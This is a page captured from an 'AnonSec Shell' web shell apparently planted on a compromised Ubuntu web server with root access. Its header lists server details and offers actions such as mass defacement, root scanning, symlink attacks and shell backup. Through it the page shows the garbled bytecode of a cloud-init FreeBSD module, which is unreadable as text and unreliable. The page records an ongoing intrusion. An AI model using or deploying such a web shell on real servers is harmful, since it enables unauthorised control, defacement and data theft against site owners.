AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/distros/__pycache__/freebsd.cpython-310.pyc
o

x[h"�@s|ddlZddlZddlZddlmZddlZddlmZmZddl	m
Z
ddlmZm
Z
e�e�ZGdd�dejjj�ZdS)�N)�StringIO)�subp�util)�FreeBSDNetworking)�
PER_ALWAYS�PER_INSTANCEc
@s&eZdZdZeZdZdZdZdZ	gd�Z
ddgZdd	gZdd
gZ
ddgZdZd
ZdZdZgd�Zed9dd��Zedd�dededefdd��Zdd�Zdefdd�Zdd �Zd:d"d#�Zd$d%�Zd&d'�Zd9d(d)�Zd*d+�Z d!d,�d-d.�Z!e"d/ed0ed1ed2ed3ede#fd4d5��Z$e"d6eddfd7d8��Z%dS);�DistrozY
    Distro subclass for FreeBSD.

    (N.B. DragonFlyBSD inherits from this class.)
    z/usr/local/libz/etc/login.confz/etc/login.conf.origz,/usr/local/etc/sudoers.d/90-cloud-init-users)�pw�group�add�pkg�install�remove�update�upgradeTz	/usr/homez/var/dbzdhclient.leases.\w+)z
^{username}::z^{username}:\*:z^{username}:\*LOCKED\*:NcCs8tj�d�}|durt�d�dStjdd|gd|d�S)z�
        Tell rc to reload its configuration
        Note that this only works while we're still in the process of booting.
        May raise ProcessExecutionError
        �RC_PIDNz0Unable to reload rc(8): no RC_PID in Environment�killz-SIGALRMT��capture�rcs)�os�environ�get�LOG�warningr)�clsr�rc_pid�r�;/usr/lib/python3/dist-packages/cloudinit/distros/freebsd.py�reload_init7s

zDistro.reload_init)r�action�service�
extra_argsc
Gsx|j}|dg|dg|dg|dg|dg|dg|dg|dg|dg|dg|d	g|d
gd�}|||t|�}tj|d|d
�S)a
        Perform the requested action on a service. This handles FreeBSD's
        'service' case. The FreeBSD 'service' is closer in features to
        'systemctl' than SysV init's 'service', so we override it.
        May raise ProcessExecutionError
        �stop�start�enable�enabled�disable�onestart�onestop�restart�status�	onestatus)r#r$r%r&r'r(r)r*�reloadz
try-reloadr+r,Tr)�init_cmd�listr)rr r!rr"r.�cmds�cmdrrr�manage_serviceEs 
�zDistro.manage_servicecCsddd|d|gS)Nr	�usermod�-n�-Gr)�self�member_name�
group_namerrr�_get_add_member_to_group_cmdasz#Distro._get_add_member_to_group_cmd�returncKs�t�|�r
t�d|�dSddd|g}ddd|g}dddd	d
ddd
�}dddd�}|��D]1\}}||vrJ|rJt|ttf�rJ|�||t|�g�q-||vr^|r^|�	||�|�	||�q-d|vsgd|vrr|�	d�|�	d�n$|�
d|j�d|���}	|�	d|	�|�	d�|�	d|	�|�	d�t�d|�z	tj||d�Wnt
y�t�td|��w|�
dd�}
|
dur�|j||
dd�dS)z~
        Add a user to the system using standard tools

        Returns False if user already exists, otherwise True.
        z!User %s already exists, skipping.Fr	�useraddr4z-d�-cz-gr5z-sz-Ez-u)�homedir�gecos�
primary_group�groups�shell�inactive�uidz--no-user-groupz--systemz
--no-log-init)�
no_user_group�system�no_log_init�no_create_homerEz-d/nonexistentr=�/z-mzAdding user %s)�	logstringzFailed to create user %s�passwdNT)�hashed)r�is_userr�info�items�
isinstance�str�int�extend�appendr�home_dirr�	Exception�logexc�
set_passwd)r6�name�kwargs�pw_useradd_cmd�log_pw_useradd_cmd�pw_useradd_opts�pw_useradd_flags�key�valr=�
passwd_valrrr�add_userdsV
�
��


�zDistro.add_usercC�:z
t�dd|ddg�WdStyt�td|��w)Nr	r3�-pz01-Jan-1970z"Failed to set pw expiration for %s�rrUrrVr)r6�userrrr�
expire_passwd���zDistro.expire_passwdFcCsR|rd}nd}ztjdd||dg|d|d�WdSty(t�td|��w)	Nz-Hz-hr	r3�0zchpasswd for %s)�datarIzFailed to set password for %srd)r6rerJrK�hash_optrrrrW�s��zDistro.set_passwdcCrb)Nr	r3z-w�noz)Failed to lock password login for user %srd�r6rXrrr�lock_passwd�rgzDistro.lock_passwdcCst�d|�dS)NzRDragonfly BSD/FreeBSD password lock is not reversible, ignoring unlock for user %s)r�debugrlrrr�
unlock_passwd�s�zDistro.unlock_passwdcCs�t�}t�|j���D]}|�t�dd||��|�d�qt�|j|j	�t�
|j|���zt�
d|�t�d|jg�WdStjypt�td|�zt�|j	|j�WYdStyot�td|j�YYdSww)Nz	^default:zdefault:lang=%s:�
zRunning cap_mkdb for %s�cap_mkdbzFailed to apply locale %szFailed to restore %s backup)rr�load_text_file�
login_conf_fn�
splitlines�write�re�sub�copy�login_conf_fn_bak�
write_file�getvaluerrnr�ProcessExecutionErrorrV�IOError)r6�locale�out_fn�newconf�linerrr�apply_locale�s*����zDistro.apply_localecCsddiS)zJReturn environment vars used in FreeBSD package_command
        operations�ASSUME_ALWAYS_YES�YESr)r6rrr�_get_pkg_cmd_environ�szDistro._get_pkg_cmd_environ)�forcecCs$|jjd|jdg|rtntd�dS)Nzupdate-sourcesr)�freq)�_runner�run�package_commandrr)r6r�rrr�update_package_sources�s

�zDistro.update_package_sources�path�
lease_file�pid_file�	interface�config_filecCs$|d|d|g|rd||gS|gS)Nz-lrcr<r)r�r�r�r�r�rrr�build_dhclient_cmd�s
��zDistro.build_dhclient_cmd�devicecCst�dd|g�dS)N�
camcontrol�eject)r)r�rrr�eject_media�szDistro.eject_media)N)F)&�__name__�
__module__�__qualname__�__doc__r�networking_cls�usr_lib_execrsry�
ci_sudoers_fn�group_add_cmd_prefix�pkg_cmd_install_prefix�pkg_cmd_remove_prefix�pkg_cmd_update_prefix�pkg_cmd_upgrade_prefix�prefer_fqdnrT�dhclient_lease_directory�dhclient_lease_file_regex�#shadow_empty_locked_passwd_patterns�classmethodrrPr2r9�boolrarfrWrmror�r�r��staticmethodr/r�r�rrrrrsj
����>

������r)�loggingrrv�ior�cloudinit.distros.bsd�	cloudinitrr�cloudinit.distros.networkingr�cloudinit.settingsrr�	getLoggerr�r�distros�bsd�BSDrrrrr�<module>s


Anon7 - 2022
AnonSec Team